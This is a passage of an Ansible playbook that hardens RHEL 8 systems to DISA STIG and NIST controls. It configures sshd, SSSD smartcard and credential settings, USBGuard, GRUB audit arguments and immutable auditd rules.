    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040161
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - sshd_rekey_limit

  - name: Setting unquoted shell-style assignment of 'SSH_USE_STRONG_RNG' to '32'
      in '/etc/sysconfig/sshd'
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/sysconfig/sshd
        create: true
        regexp: (?i)^\s*SSH_USE_STRONG_RNG=
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/sysconfig/sshd
      ansible.builtin.lineinfile:
        path: /etc/sysconfig/sshd
        create: true
        regexp: (?i)^\s*SSH_USE_STRONG_RNG=
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/sysconfig/sshd
      ansible.builtin.lineinfile:
        path: /etc/sysconfig/sshd
        create: true
        regexp: (?i)^\s*SSH_USE_STRONG_RNG=
        line: SSH_USE_STRONG_RNG=32
        state: present
        insertbefore: ^# SSH_USE_STRONG_RNG
        validate: /usr/bin/bash -n %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010292
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_use_strong_rng

  - name: Prevent remote hosts from connecting to the proxy display
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*X11UseLocalhost\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*X11UseLocalhost\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*X11UseLocalhost\s+
        line: X11UseLocalhost yes
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040341
    - NIST-800-53-CM-6(b)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_x11_use_localhost

  - name: Ensure that &quot;certificate_verification&quot; is not set in /etc/sssd/sssd.conf
    community.general.ini_file:
      path: /etc/sssd/sssd.conf
      section: sssd
      option: certificate_verification
      state: absent
      mode: 384
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010400
    - NIST-800-53-IA-2(11)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_certificate_verification

  - name: Ensure that &quot;certificate_verification&quot; is not set in  /etc/sssd/conf.d/*.conf
    community.general.ini_file:
      path: /etc/sssd/conf.d/*.conf
      section: sssd
      option: certificate_verification
      state: absent
      mode: 384
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010400
    - NIST-800-53-IA-2(11)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_certificate_verification

  - name: Ensure that &quot;certificate_verification&quot; is set
    community.general.ini_file:
      path: /etc/sssd/conf.d/certificate_verification.conf
      section: sssd
      option: certificate_verification
      value: ocsp_dgst={{ var_sssd_certificate_verification_digest_function }}
      state: present
      mode: 384
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010400
    - NIST-800-53-IA-2(11)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_certificate_verification

  - name: Test for domain group
    ansible.builtin.command: grep '^\s*\[domain\/[^]]*]' /etc/sssd/sssd.conf
    register: test_grep_domain
    failed_when: false
    changed_when: false
    check_mode: false
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020250
    - PCI-DSS-Req-8.3
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_enable_smartcards

  - name: Add default domain group (if no domain there)
    community.general.ini_file:
      path: /etc/sssd/sssd.conf
      section: '{{ item.section }}'
      option: '{{ item.option }}'
      value: '{{ item.value }}'
      create: true
      mode: 384
    with_items:
    - section: sssd
      option: domains
      value: default
    - section: domain/default
      option: id_provider
      value: files
    when:
    - '&quot;sssd-common&quot; in ansible_facts.packages'
    - test_grep_domain.stdout is defined
    - test_grep_domain.stdout | length &lt; 1
    tags:
    - DISA-STIG-RHEL-08-020250
    - PCI-DSS-Req-8.3
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_enable_smartcards

  - name: Enable Smartcards in SSSD
    community.general.ini_file:
      dest: /etc/sssd/sssd.conf
      section: pam
      option: pam_cert_auth
      value: 'True'
      create: true
      mode: 384
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020250
    - PCI-DSS-Req-8.3
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_enable_smartcards

  - name: Find all the conf files inside /etc/sssd/conf.d/
    ansible.builtin.find:
      paths: /etc/sssd/conf.d/
      patterns: '*.conf'
    register: sssd_conf_d_files
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020250
    - PCI-DSS-Req-8.3
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_enable_smartcards

  - name: Fix pam_cert_auth configuration in /etc/sssd/conf.d/
    ansible.builtin.replace:
      path: '{{ item.path }}'
      regexp: '[^#]*pam_cert_auth.*'
      replace: pam_cert_auth = True
    with_items: '{{ sssd_conf_d_files.files }}'
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020250
    - PCI-DSS-Req-8.3
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_enable_smartcards

  - name: Test for domain group
    ansible.builtin.command: grep '\s*\[domain\/[^]]*]' /etc/sssd/sssd.conf
    register: test_grep_domain
    failed_when: false
    changed_when: false
    check_mode: false
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020290
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(13)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_offline_cred_expiration

  - name: Add default domain group (if no domain there)
    community.general.ini_file:
      path: /etc/sssd/sssd.conf
      section: '{{ item.section }}'
      option: '{{ item.option }}'
      value: '{{ item.value }}'
      create: true
      mode: 384
    with_items:
    - section: sssd
      option: domains
      value: default
    - section: domain/default
      option: id_provider
      value: files
    when:
    - '&quot;sssd-common&quot; in ansible_facts.packages'
    - test_grep_domain.stdout is defined
    - test_grep_domain.stdout | length &lt; 1
    tags:
    - DISA-STIG-RHEL-08-020290
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(13)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_offline_cred_expiration

  - name: Configure SSD to Expire Offline Credentials
    community.general.ini_file:
      dest: /etc/sssd/sssd.conf
      section: pam
      option: offline_credentials_expiration
      value: 1
      create: true
      mode: 384
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020290
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(13)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_offline_cred_expiration

  - name: Find all the conf files inside /etc/sssd/conf.d/
    ansible.builtin.find:
      paths: /etc/sssd/conf.d/
      patterns: '*.conf'
    register: sssd_conf_d_files
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020290
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(13)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_offline_cred_expiration

  - name: Fix offline_credentials_expiration configuration in /etc/sssd/conf.d/
    ansible.builtin.replace:
      path: '{{ item.path }}'
      regexp: '[^#]*offline_credentials_expiration.*'
      replace: offline_credentials_expiration = 1
    with_items: '{{ sssd_conf_d_files.files }}'
    when: '&quot;sssd-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020290
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(13)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - sssd_offline_cred_expiration

  - name: Log USBGuard daemon audit events using Linux Audit
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/usbguard/usbguard-daemon.conf
        create: true
        regexp: (?i)^[ \\t]*AuditBackend=
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/usbguard/usbguard-daemon.conf
      ansible.builtin.lineinfile:
        path: /etc/usbguard/usbguard-daemon.conf
        create: true
        regexp: (?i)^[ \\t]*AuditBackend=
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/usbguard/usbguard-daemon.conf
      ansible.builtin.lineinfile:
        path: /etc/usbguard/usbguard-daemon.conf
        create: true
        regexp: (?i)^[ \\t]*AuditBackend=
        line: AuditBackend=LinuxAudit
        state: present
    when:
    - ( ansible_architecture != &quot;s390x&quot; and &quot;kernel&quot; in ansible_facts.packages )
    - '&quot;usbguard&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030603
    - NIST-800-53-AU-2
    - NIST-800-53-CM-8(3)
    - NIST-800-53-IA-3
    - configure_strategy
    - configure_usbguard_auditbackend
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed

  - name: Generate USBGuard Policy
    block:

    - name: Check that the /etc/usbguard/rules.conf exists
      ansible.builtin.stat:
        path: /etc/usbguard/rules.conf
      register: policy_file

    - name: Create USBGuard Policy configuration
      ansible.builtin.command: usbguard generate-policy
      register: policy
      when: not policy_file.stat.exists or policy_file.stat.size == 0

    - name: Copy the Generated Policy configuration to a persistent file
      ansible.builtin.copy:
        content: '{{ policy.stdout }}'
        dest: /etc/usbguard/rules.conf
        mode: 384
      when: not policy_file.stat.exists or policy_file.stat.size == 0

    - name: Add comment into /etc/usbguard/rules.conf when system has no USB devices
      ansible.builtin.lineinfile:
        path: /etc/usbguard/rules.conf
        line: '# No USB devices found'
        state: present
      when: not policy_file.stat.exists or policy_file.stat.size == 0

    - name: Enable service usbguard
      ansible.builtin.systemd:
        name: usbguard
        enabled: 'yes'
        state: started
        masked: 'no'
    when:
    - ( ansible_architecture != &quot;s390x&quot; and &quot;kernel&quot; in ansible_facts.packages )
    - '&quot;usbguard&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040140
    - NIST-800-53-CM-8(3)(a)
    - NIST-800-53-IA-3
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - usbguard_generate_policy

  - name: Switch to multi-user runlevel
    ansible.builtin.file:
      src: /usr/lib/systemd/system/multi-user.target
      dest: /etc/systemd/system/default.target
      state: link
      force: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040321
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy
    - xwindows_runlevel_target

  - name: Check if audit argument is already present in /etc/default/grub
    ansible.builtin.slurp:
      src: /etc/default/grub
    register: etc_default_grub
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030601
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-17(1)
    - NIST-800-53-AU-10
    - NIST-800-53-AU-14(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IR-5(1)
    - PCI-DSS-Req-10.3
    - PCI-DSSv4-10.7
    - PCI-DSSv4-10.7.2
    - grub2_audit_argument
    - low_disruption
    - low_severity
    - medium_complexity
    - reboot_required
    - restrict_strategy

  - name: Check if audit argument is already present
    ansible.builtin.command: /sbin/grubby --info=ALL
    register: grubby_info
    check_mode: false
    changed_when: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030601
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-17(1)
    - NIST-800-53-AU-10
    - NIST-800-53-AU-14(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IR-5(1)
    - PCI-DSS-Req-10.3
    - PCI-DSSv4-10.7
    - PCI-DSSv4-10.7.2
    - grub2_audit_argument
    - low_disruption
    - low_severity
    - medium_complexity
    - reboot_required
    - restrict_strategy

  - name: Update grub defaults and the bootloader menu
    ansible.builtin.command: /sbin/grubby --update-kernel=ALL --args=&quot;audit=1&quot;
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    - (grubby_info.stdout is not search('audit=1')) or ((etc_default_grub['content']
      | b64decode) is not search('audit=1'))
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030601
    - NIST-800-171-3.3.1
    - NIST-800-53-AC-17(1)
    - NIST-800-53-AU-10
    - NIST-800-53-AU-14(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IR-5(1)
    - PCI-DSS-Req-10.3
    - PCI-DSSv4-10.7
    - PCI-DSSv4-10.7.2
    - grub2_audit_argument
    - low_disruption
    - low_severity
    - medium_complexity
    - reboot_required
    - restrict_strategy

  - name: Check if audit_backlog_limit argument is already present in /etc/default/grub
    ansible.builtin.slurp:
      src: /etc/default/grub
    register: etc_default_grub
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030602
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-10.7
    - PCI-DSSv4-10.7.2
    - grub2_audit_backlog_limit_argument
    - low_disruption
    - low_severity
    - medium_complexity
    - reboot_required
    - restrict_strategy

  - name: Check if audit_backlog_limit argument is already present
    ansible.builtin.command: /sbin/grubby --info=ALL
    register: grubby_info
    check_mode: false
    changed_when: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030602
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-10.7
    - PCI-DSSv4-10.7.2
    - grub2_audit_backlog_limit_argument
    - low_disruption
    - low_severity
    - medium_complexity
    - reboot_required
    - restrict_strategy

  - name: Update grub defaults and the bootloader menu
    ansible.builtin.command: /sbin/grubby --update-kernel=ALL --args=&quot;audit_backlog_limit={{
      var_audit_backlog_limit }}&quot;
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    - (grubby_info.stdout is not search('audit_backlog_limit=' ~ var_audit_backlog_limit))
      or ((etc_default_grub['content'] | b64decode) is not search('audit_backlog_limit='
      ~ var_audit_backlog_limit))
    tags:
    - DISA-STIG-RHEL-08-030602
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-10.7
    - PCI-DSSv4-10.7.2
    - grub2_audit_backlog_limit_argument
    - low_disruption
    - low_severity
    - medium_complexity
    - reboot_required
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /etc/cron.d/ - Check if watch
      rule for /etc/cron.d/ already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/etc/cron.d/\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_etc_cron_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /etc/cron.d/ - Search /etc/audit/rules.d
      for other rules with specified key cronjobs
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)cronjobs$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_etc_cron_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /etc/cron.d/ - Use /etc/audit/rules.d/cronjobs.rules
      as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/cronjobs.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_etc_cron_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /etc/cron.d/ - Use matched
      file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_etc_cron_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /etc/cron.d/ - Add watch rule
      for /etc/cron.d/ in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /etc/cron.d/ -p wa -k cronjobs
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_etc_cron_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /etc/cron.d/ - Check if watch
      rule for /etc/cron.d/ already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/etc/cron.d/\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_etc_cron_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Changes to Cron Jobs - /etc/cron.d/ - Add watch rule
      for /etc/cron.d/ in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w /etc/cron.d/ -p wa -k cronjobs
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030655
    - audit_rules_etc_cron_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Make the auditd Configuration Immutable - Collect all files from /etc/audit/rules.d
      with .rules extension
    ansible.builtin.find:
      paths: /etc/audit/rules.d/
      patterns: '*.rules'
    register: find_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030121
    - NIST-800-171-3.3.1
    - NIST-800-171-3.4.3
    - NIST-800-53-AC-6(9)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.2
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.2
    - audit_rules_immutable
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Make the auditd Configuration Immutable - Check if target files exist and
      get their content
    ansible.builtin.stat:
      path: '{{ item }}'
    register: audit_files_stat
    loop:
    - /etc/audit/audit.rules
    - /etc/audit/rules.d/immutable.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030121
    - NIST-800-171-3.3.1
    - NIST-800-171-3.4.3
    - NIST-800-53-AC-6(9)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.2
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.2
    - audit_rules_immutable
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Make the auditd Configuration Immutable - Read content of existing audit
      files
    ansible.builtin.slurp:
      src: '{{ item.item }}'
    register: audit_files_content
    loop: '{{ audit_files_stat.results }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.stat.exists
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030121
    - NIST-800-171-3.3.1
    - NIST-800-171-3.4.3
    - NIST-800-53-AC-6(9)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.2
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.2
    - audit_rules_immutable
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Make the auditd Configuration Immutable - Check if -e 2 is already correctly
      set in target files
    ansible.builtin.set_fact:
      immutable_correctly_set: |-
        {{
          audit_files_content.results
          | selectattr('content', 'defined')
          | map(attribute='content')
          | map('b64decode')
          | select('search', '^-e 2$', multiline=True)
          | list
          | length == 2
        }}
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030121
    - NIST-800-171-3.3.1
    - NIST-800-171-3.4.3
    - NIST-800-53-AC-6(9)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.2
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.2
    - audit_rules_immutable
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Make the auditd Configuration Immutable - Remove any existing -e option
      from all Audit config files
    ansible.builtin.lineinfile:
      path: '{{ item }}'
      regexp: ^\s*-e\s+.*$
      state: absent
    loop: '{{ find_rules_d.files | map(attribute=''path'') | list + [''/etc/audit/audit.rules'']
      }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not immutable_correctly_set
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030121
    - NIST-800-171-3.3.1
    - NIST-800-171-3.4.3
    - NIST-800-53-AC-6(9)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.2
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.2
    - audit_rules_immutable
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Make the auditd Configuration Immutable - Ensure target directories exist
    ansible.builtin.file:
      path: '{{ item | dirname }}'
      state: directory
      mode: '0750'
    loop:
    - /etc/audit/audit.rules
    - /etc/audit/rules.d/immutable.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not immutable_correctly_set
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030121
    - NIST-800-171-3.3.1
    - NIST-800-171-3.4.3
    - NIST-800-53-AC-6(9)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.2
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.2
    - audit_rules_immutable
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Make the auditd Configuration Immutable - Add Audit -e 2 option to make
      rules immutable
    ansible.builtin.lineinfile:
      path: '{{ item }}'
      create: true
      line: -e 2
      regexp: ^\s*-e\s+.*$
      mode: g-rwx,o-rwx
    loop:
    - /etc/audit/audit.rules
    - /etc/audit/rules.d/immutable.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not immutable_correctly_set
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030121
    - NIST-800-171-3.3.1
    - NIST-800-171-3.4.3
    - NIST-800-53-AC-6(9)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.2
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.2
    - audit_rules_immutable
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: 'Configure immutable Audit login UIDs: Determine if rules are loaded by
      auditctl'
    ansible.builtin.find:
      paths: /usr/lib/systemd/system
      patterns: auditd.service
      contains: ^\s*ExecStartPost=-/sbin/auditctl
    register: auditctl_used
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030122
    - audit_rules_immutable_login_uids
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: 'Configure immutable Audit login UIDs: Configure immutable login UIDs in
      /etc/audit/audit.rules'
    ansible.builtin.lineinfile:
      path: /etc/audit/audit.rules
      line: --loginuid-immutable
      regexp: ^\s*--loginuid-immutable\s*$
      mode: '0600'
      create: true
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - auditctl_used is defined and auditctl_used.matched &gt;= 1
    tags:
    - DISA-STIG-RHEL-08-030122
    - audit_rules_immutable_login_uids
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: 'Configure immutable Audit login UIDs: In case Augen-rules is used'
    block:

    - name: 'Configure immutable Audit login UIDs: Detect if immutable login UIDs
        are already defined in /etc/audit/rules.d/*.rules'
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        patterns: '*.rules'
        contains: ^\s*--loginuid-immutable\s*$
      register: immutable_found_in_rules_d

    - name: 'Configure immutable Audit login UIDs: set immutable login UIDS in /etc/audit/rules.d/immutable.rules'
      ansible.builtin.lineinfile:
        path: /etc/audit/rules.d/immutable.rules
        line: --loginuid-immutable
        regexp: ^\s*--loginuid-immutable\s*$
        mode: '0600'
        create: true
      when: immutable_found_in_rules_d is defined and immutable_found_in_rules_d.matched
        == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - auditctl_used is defined and auditctl_used.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030122
    - audit_rules_immutable_login_uids
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set architecture for audit mount tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030302
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_media_export
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for mount for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - mount
        syscall_grouping: []

    - name: Check existence of mount in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
